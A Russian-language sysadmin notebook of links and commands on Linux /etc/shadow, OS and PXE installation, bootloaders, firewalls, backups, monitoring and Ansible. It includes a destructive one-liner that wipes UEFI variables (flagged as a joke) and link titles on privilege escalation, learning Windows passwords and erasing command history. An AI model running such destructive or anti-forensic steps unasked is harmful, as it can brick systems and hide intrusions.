    • $5$ – SHA-256
    • $6$ – SHA-512

    Если поле пароля содержит звездочку ( *) или восклицательный знак ( !), пользователь не сможет войти в систему с использованием аутентификации по паролю. Другие методы входа, такие как аутентификация на основе ключей или переключение на пользователя, по-прежнему разрешены

    В старых системах Linux зашифрованный пароль пользователя хранился в файле /etc/passwd.

  3. Последнее изменения пароля. Это дата последнего изменения пароля. Количество дней исчисляется с 1 января 1970 года (дата эпохи).
  4. Минимальный срок действия пароля. Количество дней, которое должно пройти, прежде чем пароль пользователя может быть изменен. Как правило, он установлен на ноль, что означает отсутствие минимального срока действия пароля.
  5. Максимальный срок действия пароля. Количество дней после смены пароля пользователя. По умолчанию этот номер установлен на 99999.
  6. Период предупреждения. Количество дней до истечения срока действия пароля, в течение которого пользователь получает предупреждение о необходимости изменения пароля.
  7. Период бездействия. Количество дней после истечения срока действия пароля пользователя до отключения учетной записи пользователя. Обычно это поле пустое.
  8. Срок хранения. Дата, когда учетная запись была отключена. Это представляется как дата эпохи.
  9. Неиспользованный. Это поле игнорируется. Оно зарезервированно для будущего использования.

Файл /etc/shadow не стоит редактировать вручную, если вы не знаете, что вы делаете. Всегда используйте команду, которая предназначена для этой цели. Например, чтобы изменить пароль пользователя, используйте команду passwd, а для изменения информации об устаревании пароля используйте команду chage.

 

Пример записи

Давайте посмотрим на следующий пример:

andreyex:$6$zHvrJMa5Y690smbQ$z5zdL...:18009:0:120:7:14::

Запись выше содержит информацию о пароле пользователя andreyex:

  • Пароль зашифрован с помощью SHA-512 (пароль сокращен для лучшей читаемости).
  • Последний раз пароль изменялся 23 апреля 2019 года 18009.
  • Минимального срока действия пароля нет.
  • Пароль необходимо менять как минимум каждые 120 дней.
  • Пользователь получит предупреждающее сообщение за семь дней до истечения срока действия пароля.
  • Если пользователь не попытается войти в систему через 14 дней после истечения срока действия пароля, учетная запись будет отключена.
  • Нет срока действия аккаунта.

 



очистка метаданных
https://github.com/jubalh/MAT
https://0xacab.org/jvoisin/mat2

увидеть все поддерживаемые форматы файлов
$ mat -l

проверить актуальные метаданные используя опцию '-d':
$ mat -d file

просканируем все файлы в текущем каталоге и в поддиректориях, и создадим отчёт по их состоянию
если вместо точки можно использовать *, т. е. звёздочку, но тогда очистка происходит только в текущем каталоге, без рекурсивного обхода подкаталогов:
$ mat -c .

очистить метаданные всех файлов в директории
$ mat .

очистить все файлы и сохранит оригинальные файлы с расширением '*.bak".
$ mat -b .



полезное для серваков, часть 1
полезное для серваков, часть 2

заглянуть под кат
образы OS

варианты установок

http://help.ubuntu.ru/wiki/загрузка_ubuntu_с_iso
Руководство по установке Debian GNU/Linux
Загрузка и Запуск Программы Установки

Установка Debian GNU/Linux из системы Unix/Linux
Подготовка файлов для загрузки с карты памяти USB

Установка Archlinux c полным шифрованием системы и LVM на LUKS

как собрать настраиваемый initramfs
Установка Ubuntu Linux с винчестера. Скрипт

Установка FreeBSD на раздел реального диска из-под другой ОС

Автоматическая установка Debian
Развертывание различных дистрибутивов Linux в корпоративной среде
Ускоренное импортозамещение или как разворачивать Linux-дистрибутив БЕЗ помощи SCCM в распределённой корпоративной сети

Автоматическая установка centos с kickstart

http://www.rodsbooks.com/refind/getting.html
Настройка UEFI Dual Boot системы, приправленной rEFInd
Укрощаем UEFI SecureBoot
https://www.altlinux.org/UEFI
https://wiki.archlinux.org/index.php/Systemd-boot_(Русский)
https://wiki.archlinux.org/index.php/REFInd_(Русский)
Настройка UEFI Dual Boot системы, приправленной rEFInd
Как создать образ диска в Linux с несколькими разделами, не имея физического образца
Захват и применение Windows изображения с помощью одного. WIM-файл
Установка Ubuntu для машин без VGA

Домашнее облако⁠⁠
Домашний медиа сервер/хранилище данных своими руками⁠⁠
XPEnology и домашний NAS
Установка Xpenology на ESXi и настройка виртуального видеонаблюдения
Устанавливаем XPEnology на Proxmox
Установка Proxmox в Debian на raid 1


Внутри контейнеров — bootc
bootc это контейнеры, которые можно устанавлимать как в VM так и на BareMatel
------------------------------------------------------------------------
https://www.youtube.com/watch?v=Z1kdfNF_gSw
https://www.youtube.com/watch?v=_PjdHkUscPM
https://www.youtube.com/watch?v=mXtvzsiDVrw
------------------------------------------------------------------------
Загрузочный образ Acronis + VNC + VPN

как залить образ с виртуалки на железо
https://github.com/alex5250/replace-tv-os
из .vdi мы сделаем .img образ
VBoxManage clonemedium --format RAW Debian.vdi debian.img
Гружусь с livecd, и сожму основной раздел до 10GB удаляю swap и создаю новый, перезагружаюсь lsblk -f узнаем новые UUID разделов правлю /etc/fstab, опять гружусь в livecd и корректирую размер образа
sudo truncate --size=$[(22978559+1)*512] 'debian.img'
затем подключаюсь к железке двумя флешками, загружаюсь с livecd, заливаю полученный .img с помощью dd


сетевая установка PXE
http://help.ubuntu.ru/wiki/установка_ubuntu_по_сети
Установка и настройка инструментов, позволяющих использовать Debian систему в качестве источника PXE загрузки ОС (Linux, Windows и прочее.)
PXEBootInstall Installing Debian using network booting
Загрузка по TFTP
Автоматическая Установка Debian 7 Wheezy По Сети
Загрузочный сервер — как загрузочная флешка, только сервер и по сети
iPXE — заливка linux, windows, утилит по сети
PXE Boot за 15 минут
Мультизагрузочный PXE-реаниматор
Настройка сетевой загрузки (PXE) на CentOS7 для загрузки живой системы или загрузочного образа.
Централизованная установка Linux
Загрузка iso образа настроенной под себя Ubuntu по сети.
PXE Boot. Бездисковые устройства. Загружаемся по сети.
https://wiki.archlinux.org/index.php/PXE_(Русский)
Установка Debian удалённо: PXE + SSH
Установка Debian 9 (Stretch) через PXE сервер сетевой загрузки
Загрузка ERD Commander по сети
Создаем универсальный Install Server для автоматической сетевой инсталляции Linux и Windows на основе Cobbler
Hiren’s Boot CD 15.2 и загрузка его по сети (PXE)
Делаем аварийный загрузочный образ WinPE на базе Windows 7. (с возможностью установки Win7/8/10)
Дистрибутивы PXE
PXE-сервер, сервер для загрузки различных ОС через сеть.
Эмуляция восстановления при загрузке Acronis True Image с помощью syslinux/extlinux
Создание загрузочного диска Windows PE с .NET Framework и PowerShell
Быстрая установка ОС по сети из Windows
https://www.iventoy.com/en/download.html

https://netboot.xyz/
https://netboot.xyz/booting/ipxe/
Админу на заметку - 26. Как установить любой популярный Linux по сети используя netboot.xyz


PXE тонкие клиенты
https://ru.m.wikipedia.org/wiki/Thinstation
Разворачиваем сеть тонких клиентов Thinstation с подключением к серверу Windows Server 2012 R2 Remote Desktop Services
Thinstation Доработка тонкого клиента (Русификация и другие исправления терминального клиента Thinstation)
Пересаживаем офис на тонкие клиенты под управлением Thinstation
Создание образа (ов) Thinstation desktop OS.
Терминальный клиент poniX на базе GNU/Linux и скриптов Thinstation
Thinstation по русски
Всё о лёгком подключении тонкого клиента

http://wtware.ru/
https://matchbox.psdn.io/
https://github.com/poseidon/matchbox


сборка образов под свои нужды

записать на флешку, софт для записи, ошибки при установке


набор ПО
https://wiki.debian.org/ru/CreateLocalRepo
http://help.ubuntu.ru/wiki/создание_зеркала_репозитория
https://centos.name/?page/howto/CreateLocalRepos
https://fedoraproject.org/wiki/Ru_RU/HowTo/Локальный_репозиторий_пакетов
https://wiki.russianfedora.pro/index.php?title=Создание_локального_репозитория
Создание собственного локального репозитория Centos
CentOS: создание локального репозитория
Aptly — создание собственного репозитория
Централизованная система обновления пакетов в Ubuntu
Локальные репозитории пакетов

https://openbuildservice.org/
https://wiki.debian.org/AutomateBackports


установка Linux-кластера
Установка большого Linux-кластера Часть 1. Введение и аппаратная конфигурация
Установка большого Linux-кластера Часть 2. Конфигурирование управляющего сервера и установка узла
Установка большого Linux-кластера Часть 3. Система хранения данных и файловые системы с совместным доступом
Установка большого Linux-кластера Часть 4. Установка узлов и настройка GPFS-кластера
------------------------------------------------------------------------
Установка Consul в Unix/Linux
Установка Consul кластера в Unix/Linux
------------------------------------------------------------------------
Создание базовой виртуальной машины в Azure с помощью Ansible
Создание готовой среды виртуальных машин Linux в Azure с помощью Ansible


развернуть винду
Сетевая установка Windows в ЛВС
Быстрая установка ОС по сети из Windows
WDS (Windows Deployment Services). Быстрое развертывание клиентских машин с сервера. Создание образа развертывания WIM
Добавляем WDS универсальности
WDS (Windows Deployment Services). Быстрое развертывание клиентских машин с сервера. Создание образа развертывания WIM
Развертываем Windows по сети с использованием Windows Deployment Services
Установка Windows 10 по сети с помощью MDT 2013 и WDS
Развертывание образа Windows 10 с помощью MDT 2013 с обновлением 1
Особенности установки Windows через сеть
Развёртывание ОС Windows Server 2012 R2 на серверы Dell в режиме BARE-METAL. Часть 1
Развёртывание ОС Windows Server 2012 R2 на серверы Dell в режиме BARE-METAL. Часть 2
Автоматизация установки клиентских операционных систем при помощи Windows Deployment Services. Часть I. Установка.
Пошаговое руководство по работе со службами развертывания Windows в ОС Windows Server 2008
Установка FOD совместимости приложений
Захват и применение Windows изображения с помощью одного. WIM-файл
Быстрый поиск драйверов на сайте Microsoft


Cтроим инфраструктуру на базе продуктов MS
Почему я люблю Microsoft. Заметки зомби
Строим инфраструктуру на базе продуктов MS

Установка Win 11 с локальной учетной записью
На первом экране OOBE нажать Shift+F10 и ввести oobe\bypassnro (без пробела!)
Компьютер уйдёт в перезагрузку и на экране подключения к интернету появится пункт У меня нет интернета.

Как установить Windows на USB диск
Как установить Windows 11 и Kali Linux на одну флешку

Живительная флешка
http://www.system-rescue-cd.org/


Загрузчик
http://help.ubuntu.ru/wiki/uefiboot
Настройка UEFI-загрузчика. Самое краткое руководство в мире
Настройка UEFI Dual Boot системы, приправленной rEFInd
Инструкция по установке с EFI

efibootmgr --help
efibootmgr # получили список всех возможных загрузчиков для efi
efibootmgr -B -b XXXX # удалили ненужную запись
efibootmgr -c -L "..." -l "..." # добавили новую
efibootmgr --bootorder XXXX,YYYY,ZZZZ # изменили порядок загрузки
rm -rf /sys/firmware/efi/efivars/* # выстрелить себе в ногу и биться головой об стол





полезное для серваков, часть 2
полезное для серваков, установка

заглянуть под кат

Установка


Настройки



Debian 8 настройка сервера
Как настроить сетевые параметры в Debian
Сетевые интерфейсы
Установка Debian через ssh.
CentOS 7 настройка сервера
Настройка сети в CentOS 7
Сетевые настройки в CentOS 7
Настройка DHCP-сервера на CentOS 6
Обновление Freebsd 10.3 до 11.0
Лабораторная работа «Обучаемся настраивать сети в GNU/Linux»
Systemd за пять минут
Шпаргалка по управлению сервисами CentOS 7 с systemd
Альт Сервер 8.0 Документация
https://wiki.archlinux.org/index.php/Systemd_(Русский)
Самостоятельная настройка VDS / VPS
Настройка Linux для высоконагруженных проектов и защиты от DDoS
Автоматическая перезагрузка сервера на Unix/Linux при Kernel panic
cat /proc/sys/kernel/panic
echo "30" > /proc/sys/kernel/panic

Аутентификация Samba в домене Windows
Включение Samba-сервера на базе Ubuntu в домен AD
Setting up Samba as an Active Directory Domain Controller

Как настроить OpenLDAP и выполнить административные задачи LDAP

статьи по Active Directory
Терминальный сервер на Windows Server 2012 в рабочей группе
Как установить и настроить пространство имен DFS
Windows Server Создание отказоустойчивого кластера
Создание отказоустойчивого кластера высокой доступности на Windows.
создание отказоустойчивого кластера
Кворумные модели в Windows Server 2012 R2
Общие сведения о кворуме кластеров и пулов
Использование общих томов кластера в отказоустойчивом кластере
Развертывание кластерных пространств хранения
Настройка хранилища iSCSI на Windows Server 2012R2
Настройка iSCSI-хранилища в Windows Server 2012 R2
Как подключить ISCSI диск из Windows Server 2008 R2 в Windows
Как настроить функцию Microsoft многопутевого ввода-вывода для тома StorSimple в Windows Server 2008 R2

Как понять, что происходит на сервере

IPv6
http://www.test-ipv6.com/
https://tunnelbroker.net/
Miredo: установка IPv6 в GNU/Linux за 1 минуту
IPv6 под прицелом


диски
lvm и mdadm
Настольная книга администратора Debian 12.1. RAID и LVM
LVM поверх RAID
Расширение диска/раздела находящегося под Software Raid и LVM
Уменьшение виртуального диска с LVM
Пример создания системы c MDadm+LVM
Как создать RAID массивы с помощью mdadm на Debian 9
Настраиваем RAID1+LVM (для снапшотов файловой системы) в Hetzner и ServerLoft
Создание RAID 1 (зеркало) из 2 дисков на запущенной ОС




работа с сетевыми интерфейсами

Безопасность



http://help.ubuntu.ru/wiki/iptables
https://ru.wikibooks.org/wiki/Iptables
https://fedoraproject.org/wiki/FirewallD/ru
Debian: настройка и управление IPTABLES
Настройка iptables в CentOS 7
Шпаргалка по параметрам fierwalld-cmd или опять настройка firewalld
Готовим CentOS 7. Установка и настройка firewalld
Linux: IPTABLES – руководство: часть 1 – основы IPTABLES
21 пример использования iptables для администраторов.
ufw - простой Firewall
ipfw Примеры из жизни
Блокировка сайтов с помощью ipfw на FreeBSD
Как защитить свой VDS сервер: 53 000 попыток взлома за 5 дней

firewall-cmd настройка брадмаузера

Системы защиты Linux
------------------------------------------------------------------------
статьи по Active Directory
Как запретить или разрешить доступ к определенным сайтам в Internet Explorer
AppLocker в Windows 7. Блокируем сторонние браузеры
------------------------------------------------------------------------
Заблокировать IP через .htaccess

------------------------------------------------------------------------
Централизованное обновление сертификатов Let's Encrypt
Как выпустить самоподписанный SSL сертификат и заставить ваш браузер доверять ему

Оповещение на email когда подключились через SSH
vim ~/.bashrc


SSH уведомление об авторизации
vim /etc/ssh/sshrc



------------------------------------------------------------------------
логи windows

Вертим логи как хотим ― анализ журналов в системах Windows
Повышение привилегий в Windows-среде
Как посмотреть логи windows
10 критически важных event ID для мониторинга Windows
Простой поиск недавно измененных файлов в Windows
https://docs.microsoft.com/ru-ru/windows/deployment/upgrade/log-files
логи открываемых файлов
C:\Users\User\AppData\Roaming\Microsoft\Windows\Recent
файлы логов
C:\Windows\System32\LogFiles\

Log Parser
Log Parser Studio

Отчет о VPN подключениях в ISA
Как узнать с каких IP заходили на мой сервер через удаленный рабочий стол (RDP)?

Обзор криминалистических артефактов Windows
Как сбросить пароль администратора домена
Сброс или изменение пароля Windows с помощью Linux
Как сбросить пароль Windows
Как УЗНАТЬ пароль Windows?

Commando VM: Windows для хакеров
Утилиты NirSoft для извлечения информации из Windows

изменение времени файлов, удаление истории посещения и команд в linux


------------------------------------------------------------------------

https://ssd.eff.org/ru/
https://privacytools.ru/
http://www.cypherpunks.ru/Links.html#Links
https://www.cryptoparty.in/learn/handbook
https://ru.thatoneprivacysite.net/

VPN, Proxy и тд

уязвимости
https://www.debian.org/security/
https://people.canonical.com/~ubuntu-security/cve/
https://cve.mitre.org/data/refs/refmap/source-DEBIAN.html
https://cve.mitre.org/data/refs/index.html
https://access.redhat.com/security/security-updates/#/cve
https://www.openwall.com/lists/oss-security/
CVE-2014-0196
Как попасть на дачу президента в пять часов утра
Как СОРМ сливает наши с вами данные всем желающим
Китайские закладки: непридуманная история о виртуализации, безопасности и шпионах — «Хакер»


Аутентификация беспроводных клиентов по учетным записям Active Directory
Шаг за шагом: Миграция Active Directory Certificate Service с Windows Server 2003 на Windows Server 2012 R2
Step-By-Step: Migrating The Active Directory Certificate Service From Windows Server 2003 to 2012 R2




Бэкап



http://help.ubuntu.ru/wiki/backup
http://help.ubuntu.ru/wiki/руководство_по_ubuntu_server/резервное_копирование/bacula
https://www.bareos.org/en/download.html
Бэкап с помощью Open Source решения — Bareos
Резервное копирование с помощью Bareos и Relax-and-Recover
Разбираемся с томами Bacula/Bareos
Bareos (Bacula). Облегчаем развертывание и добавление заданий.
Настройка и понимание Bacula
Bacula: для тех кому надо по-быстрому и в картинках
Как сделать резервную копию сервера CentOS 7 с помощью Bacula
TimeShift — создание резервных копий и восстановление систем Linux
http://www.fsarchiver.org/

WBADMIN – управление резервным копированием в Windows
Создание архива состояния системы с помощью командной строки
Бэкап данных виртуальной машины средствами windows backup(Система архивации данных Windows Server)
Бэкапы виртуальных машин Hyper-V и обычных компьютеров
Настраиваем Hyper-V Replica в Windows Server 2012
Настройка Hyper-V Replica в Windows Server 2012
Как я перестал беспокоиться и полюбил репликацию Hyper-V
Репликация в Hyper V 3
Настройка iSCSI хранилища в Windows Server 2012

Резервное копирование в Veeam Agent for Microsoft Windows Free

Миграция ролей и функций в Windows Server

Руководство пользователя FreeNAS (версия 0.686)
FreeNAS (backup) — организация бэкапа
Создаем сетевое хранилище на основе FreeNAS
Резервное копирование во FreeNas

Сетевой накопитель QNAP HS-210
Сравнение способов резервного копирования
Краткий обзор open source средств резервного копирования

Rsync: мощная утилита для быстрого, гибкого удаленного и локального копирования файлов
RSync. Примеры использования
http://wiki.dieg.info/rsync
Rsync настройка бэкапа на CentOS/Debian/Ubuntu
Бэкап большого количества мелких файлов
Настройка резервного копирования в Ubuntu за 20 минут
резервное копирование rsync-ом
Easy Automated Snapshot-Style Backups with Linux and Rsync
rsync SSH синхронизация файлов в Linux

Rclone Browser — удобный Qt графический интерфейс (GUI) для консольной утилиты Rclone
rdiff-backup examples
Резервное копирование на удаленный сервер
Backup linux сервера с помощью Duplicity
Бэкап Linux при помощи tar
Cкрипт инкрементального и полного бэкапов
Python: скрипт инкрементального или полного бекапа файлов

Сборка недорогой домашней NAS-системы на Linux

https://www.percona.com/software/mysql-database/percona-xtrabackup
https://ru.bmstu.wiki/Percona_XtraBackup

Архивирование и восстановление файлов с сохранением мандатных атрибутов
------------------------------------------------------------------------
всякое полезное
Клонирование linux


------------------------------------------------------------------------
удалить файлы старше 500 дней
find /mnt/DATAMAIN2/BACKUPS/ -type f -mtime +500 -exec rm -rf {} \;


сохранить систему в образ
e2image -ar /dev/sdX ~/sdaX.img

Ncftp - передача данных по сети
tar -czf - /var | ncftpput -u USERNAME -p USERPASS -c SERVERNAME var.tar.gz
где

/var - в моем частном случае, раздел, который необходимо забекапить
USERNAME - логин для авторизации на FTP-сервере
USERPASS - пароль для авторизации на FTP-сервере
SERVERNAME - FQDN или IP-адрес FTP-сервера


https://www.dropbox.com/ru/
https://mega.nz/
https://www.sync.com/
https://nextcloud.com/
https://syncthing.net/

https://www.microfocus.com/en-us/products/vm-server-backup/overview
https://www.veeam.com/ru


Web



Что такое highload

nginx
https://nginxconfig.io/
Оптимальная настройка Nginx
Установка Nginx, PHP-FPM, MariaDB на CentOS 7 / RHEL 7
Ограничить скорость загрузки в Nginx
Виртуальный хост для отдельного пользователя с PHP-FPM и nginx
Как установить Nginx на CentOS / RHEL
Блокировка соединений используя Nginx

Установка nginx в контейнере на Docker
nginx+cgi
NGINX: uWSGI для запуска Python на CentOS
Setting up Django and your web server with uWSGI and nginx
Setting up Nginx and uWSGI for CGI scripting
Django. Запуск проекта в связке uWSGI и Nginx
CGI: пишем простой сайт на Python. Часть 4: Публикация в сети Интернет
Запускаем Python-приложения (Django, Flask, etc) через nginx и uwsgi на Ubuntu 12.04
uWSGI: добавление обработки CGI-сценариев
Развёртывание Django с uWSGI
Django на production. uWSGI + nginx. Подробное руководство
Как настроить nginx + gunicorn + web.py?
Django + Python3 + Nginx + Gunicorn + DO
Настраиваем Django + virtualenv + nginx + gunicorn + PostgreSQL + memcached + letsencrypt на Ubuntu 16.04
Django - Урок 001. Развёртывание сайта на Django + PostgreSQL + Gunicorn + Nginx
Как установить Django + Postgres + Nginx + Gunicorn на Ubuntu 14.04.
Настройка Gunicorn и uWSGI, сравнение производительности


Установка Nginx и Apache в связи в CentOS
Добавление виртуальных хостов на nginx (самое простое)
How to Install Nginx, MySQL, PHP v7 (LEMP) stack on CentOS 7
Установка и настройка LAMP ( Linux, Apache, MariaDB, PHP) c PHP 7 на Debian 8
Большой Мануал по настройке lamp-сервера на Debian
скачать скрипт для установки веб-сервера на CentOS


FTP и тд.



https://wiki.debian.org/ru/vsftpd
Debian, ftpd, vtpd, vsftpd. Very fast way.
Настройка FTP сервера в Debian 5 (Lenny) Золкин А. Н.
help.ubuntu TFTP
https://help.ubuntu.com/community/TFTP
Быстрый запуск TFTP-сервера (BOOTP) в CentOS 6
Быстрая и простая настройка samba
Настройка файлового сервера Samba на платформе Debian / Ubuntu

https://ip-calculator.ru/blog/ask/kak-ustanovit-freeradius-na-ubuntu/


DNS, BIND



Простая настройка DNS сервера BIND9 на Debian 7 Wheezy
Настройка DNS сервера под управлением bind 9 на debian linux.
Установка Bind 9 (named) в CentOS 7
Настройка Обратной DNS Зоны — PTR Запись
Настройка DNS на Windows Server 2008 R2


Bridge



https://www.freebsd.org/doc/ru/books/handbook/network-bridging.html
Как сделать мост (bridge) на FreeBSD
Простой способ раздачи интернета в сети
Фильтрующий мост между сетевыми интерфейсами
Роутер на Freebsd 10 для доступа в интернет
Пошаговая настройка роутера на Debian 8 jessie

Строим туннели. Разбираемся с новинками VPN


Мониторинг



Более чем 80 средств мониторинга системы Linux
Nagios
https://www.nagios.org/
http://xgu.ru/wiki/Nagios
http://help.ubuntu.ru/wiki/руководство_по_ubuntu_server/мониторинг/nagios
Nagios - установки и настройка
Настройка мониторинга MySQL в Nagios
Полный мониторинг системы при помощи Nagios 4
Свой сервер мониторинга с nagios и cacti
Отправка SMS из Nagios

проверка скорости интернета в консоли


Zabbix
https://www.zabbix.com/ru/
https://github.com/jjmartres/Zabbix
https://ru-zabbix.livejournal.com/
https://wiki.yola.ru/zabbix:server
Установка Zabbix
Первоначальная настройка Zabbix
Установка Zabbix-агента 3 на CentOS 7
Установка и настройка Zabbix 3.0 на CentOS 7
Установка и настройка Zabbix 3.4 на Debian 9
Использование Zabbix для мониторинга критических систем - «Хакер»
Правильное обнаружение проблем с помощью Zabbix

Уведомления в Zabbix используя GMail
Zabbix. Полное руководство. 2е изд. Андреа Далле Ваккье

Как понять, что происходит на сервере
Как посмотреть логи windows


Управление



Ansible
https://github.com/ansible
http://docs.ansible.com/ansible/latest/list_of_all_modules.html
http://jinja.pocoo.org/docs/2.10/
https://github.com/leucos/ansible-tuto
https://github.com/UnderGreen?tab=repositories
https://github.com/ansible/awx
https://polemarch.readthedocs.io/en/stable/gui.html
------------------------------------------------------------------------
Ansible для сетевых инженеров Наташа Самойленко
Автоматизируем и ускоряем процесс настройки облачных серверов с Ansible. Часть 1: Введение
Автоматизируем и ускоряем процесс настройки облачных серверов с Ansible. Часть 2: вывод playbook, отладка, повторное использование
Автоматизируем и ускоряем процесс настройки облачных серверов с Ansible. Часть 3: Переменные и файл inventory
Автоматизируем и ускоряем процесс настройки облачных серверов с Ansible. Часть 4: работаем с модулями
Автоматизируем и ускоряем процесс настройки облачных серверов с Ansible. Часть 5: local_action, условия, циклы и роли
КОНФИГУРАЦИЯ VM С VAGRANT И ANSIBLE
Ansible
Об Ansible
Ansible с чего начать
Введение в Ansible
Ansible знакомимся с системой на примерах.
Пособие по Ansible
Понимая Ansible
Система управления Ansible
Создание базовой виртуальной машины в Azure с помощью Ansible
Создание готовой среды виртуальных машин Linux в Azure с помощью Ansible
От установки AWX до запуска первого плейбука — настройка централизованного управления Ansible
Ansible для управления конфигурацией Windows. История успеха

Как управлять многостадийной средой развертывания с помощью системы Ansible
Как использовать Ansible: Справочное руководство
Автоматизация начальной настройки сервера с помощью Ansible в Ubuntu 18.04
Управление конфигурацией 101: написание Ansible Playbooks
Управление конфигурацией 101: Написание рецептов шеф-повара
Как использовать Ansible для установки и настройки Docker в Ubuntu 18.04

Ansible для управления конфигурацией Windows. История успеха
MikroTik Ansible

https://letsclearitup.com.ua/tag/ansible
------------------------------------------------------------------------
Ansible. Полное руководство - Видеоуроки
https://coursehunters.net/course/ansible-polnoe-rukovodstvo
------------------------------------------------------------------------
MikroTik / Ansible. Централизованное управление оборудованием
https://www.youtube.com/watch?v=-NfES26eE-c
------------------------------------------------------------------------
techmovs
https://www.youtube.com/watch?v=X0fM4AwiKHY
------------------------------------------------------------------------
Денис Нелюбин - Docker и Ansible — лучшие друзья DevOps
https://www.youtube.com/watch?v=14sj7HTbqoA
------------------------------------------------------------------------
Чистяков Александр: "SaltStack и Ansible — средства управления конфигурацией на языке Python"
https://www.youtube.com/watch?v=iUsI47m8QbQ
------------------------------------------------------------------------

SaltStack
https://www.saltstack.com/
Salt за 10 минут
SaltStack: использование salt-ssh
Инструменты DevOps: Чем хорош SaltStack, и какие задачи с его помощью можно решить

https://cockpit-project.org/running.html
http://www.webmin.com/
Установка и настройка удаленного доступа на CentOS 7 с помощью Webmin

FreeIPA
https://www.freeipa.org/page/Downloads
https://www.freeipa.org/page/Active_Directory_trust_setup
Разворачиваем FreeIPA сервер
Синхронизация пользователей MS Active Directory и FreeIPA
Настройка централизованной аутентификации в CentOS 7 с помощью FreeIPA
Система централизованного управления авторизацией пользователей на FreeIPA в Docker


AD
поиск неактивных пользователей
dsquery user -inactive 4 -limit 1000 > inactive-user.txt
dsquery user -inactive 4 -o samid -limit 1000 > inactive-user1.txt
dsquery user -inactive 4 -limit 1000 | dsget user -display > inactive-user.txt


удаление компов из AD
dsquery computer –inactive 10 | dsrm -noprompt -c
dsquery computer –disabled | dsrm -noprompt -c
dsquery computer -inactive 30 -limit 400 | dsrm -noprompt -subtree -c
http://winitpro.ru/index.php/2015/09/28/powershell-get-adcomputer-poluchenie-dannyx-o-kompyuterax-v-active-directory/
http://winitpro.ru/index.php/2013/01/28/kak-skryt-kontejnery-v-active-directory/

Добавление сетевых дисков с персональными папками для пользователей через GPP на примере Windows Server 2012R2
Базовые приёмы работы с файловым сервером на базе Windows Server

статьи по Active Directory


Виртуализация




команда ip
https://losst.ru/nastrojka-seti-v-linux
https://packetpushers.net/linux-ip-command-ostensive-definition/

СИНТАКСИС
Сначала рассмотрим синтаксис команды:

ip [опции] объект команда [параметры]
опции — это глобальные настройки, которые сказываются на работе всей утилиты независимо от других аргументов, их указывать необязательно.
объект — объект или устройство, с которым будем работать или о котором будем узнавать информацию.
команды — какое-либо действие с объектом.
параметры — само собой, командам иногда нужно передавать параметры, они передаются в этом пункте.

ОПЦИИ
Поддерживаются такие опции для настройки сети в lInux:
-v — только вывод информации об утилите и ее версии
-s — включает вывод статистической информации
-f — позволяет указать протокол, с которым нужно работать, если протокол не указан, то берется на основе параметров команды. Опция f должна принимать одно из значений: bridge, dnet, inet, inet6, ipx или link. По умолчанию используется inet, link — означает отсутствие протокола.
-o — выводить каждую запись с новой строки
-r — выполнять резолвинг и выводить символические имена хостов

Все остальные опции — ярлыки опции -f:
-4 — ярлык для -f inet
-6 — -f inet6
-B — -f bridge
-0 — -f link

ОБЪЕКТЫ
address — сетевой адрес на устройстве
link— физическое сетевое устройство
monitor — мониторинг состояния устройств
neigh — ARP
route — управление маршрутизацией
rule — правила маршрутизации
tunnel — настройка туннелирования

Во время ввода имя объекта может быть сокращено до одной буквы. При неоднозначности используется алфавитный порядок. Например, ip a show, расшифровывается как ip address show. Тогда как в ip r show, r - означает route.

КОМАНДЫ
Теперь рассмотрим доступные команды, с помощью которых может быть выполнена настройка сети linux. Вот они: add, change, del или delete, flush, get, list или show, monitor, replace, restore, save, set, и update.

Если команда не задана, по умолчанию используется show (показать).

Здесь тоже поддерживается сокращение и в большинстве случаев для выполнения нужного действия достаточно нескольких символов. Но алфавитный порядок соблюдается не всегда. Например, ip a s, означает ip address show, а не ip address set, к сожалению.

ПАРАМЕТРЫ
Параметры зависят от объекта и указанной команды. Рассмотрим самые основные:

dev имя_устройства - сетевое устройство
up - включить
down - выключить
llarrr - MAC - адрес
initcwnd - размер окна перегрузки TCP при инициализации
window - размер окна TCP
cwnd - размер окна перегрузки TCP
type - тип
via - подключиться к роутеру
default - маршрут по умолчанию
blackhole - маршрут "черная дыра" - отбрасывать пакеты и не посылать ICMP сообщения о недоступности
prohibit - маршрут "запрета" - отбрасывать пакеты и возвращать ICMP сообщения о запрете доступа
unreachable - маршрут "недостижимый" - отбрасывать пакеты и посылать ICMP пакеты о недостижимости узла.

ПРИМЕРЫ ИСПОЛЬЗОВАНИЯ

IP LINK
Утилита ip в Linux с параметром linux позволяет управлять состоянием сетевых интерфейсов и просматривать информацию о них.

ip link show - отобразить состояние всех сетевых интерфейсов
ip l sh - то же самое
ip ll - то же самое
ip l - то же самое
ip link show eth0 - отобразить состояние eth0
ip link list up - отобразить статус всех включенных интерфейсов
ip link set eth1 up - включить eth1
ip link set eth1 down выключить eth1

IP NEIGBOUR
Объект neigbour используется для управления ARP таблицами.

ip neigh show - показать все записи ARP
ip n sh - то же самое
ip n l - то же самое
ip n - то же самое
ip neigh show dev eth0 - посмотреть все ARP записи для eth0
ip neigh flush - удалить все ARP записи
ip ne fl dev eth0 - удалить все ARP записи для eth0
ip nei add 1.1.1.13 lladdr AA:BB:CC:DD:EE:FF dev eth0 - добавить ARP запись для определенного IP адреса.
ip n del 1.1.1.13 dev eth0 - удалить все записи для указанного адреса

IP ADDRESS
Важно заметить, что вторичные ip адреса не используются в качестве исходящих адресов для отправки пакетов.

ip address show - показать все ip адреса и их интерфейсы
ip a sh - то же самое
ip a list - то же самое
ip a - то же самое
ip a l permanent - отобразить только статические ip адреса
ip a l dynamic - отобразить только динамические ip адреса
ip addr add 1.1.1.13/24 dev eth0 - установить ip адрес для интерфейса eth0
ip addr del 1.1.1.13/24 dev eth0 - удалить ip адрес интерфейса eth0
ip add flush dev eth0 - удалить все ip адреса интерфейса eth0

IP ROUTE
Утилита ip в Linux позволяет не только устанавливать ip адреса, но и настраивать маршруты. По умолчанию в Linux используется таблица маршрутизации 254, вы также можете иметь дело с таблицей 255, которую не следует изменять, а также 253, в которой хранятся маршруты по умолчанию.

ip r sh показать все маршруты в таблице маршрутизации
ip route show table nnn - отобразить все маршруты из таблицы 255
ip route get 10.10.20.0/24 - отобразить маршрут к этой сети
ip route get 10.10.20.0/24 from 192.168.12.9 - отобразить маршрут к этой сети от указного интерфейса.
ip route add 10.10.20.0/24 via 192.168.50.100 - создать маршрут
ip route delete 10.10.20.0/24 - удалить маршрут.
ip route del 10.10.20.0/24 via 192.168.50.100 - удалить маршрут.
ip route add default via 192.168.50.100 - создать маршрут по умолчанию.
ip route add 10.10.20.0/24 dev eth0 - создать маршрут к указной сети.
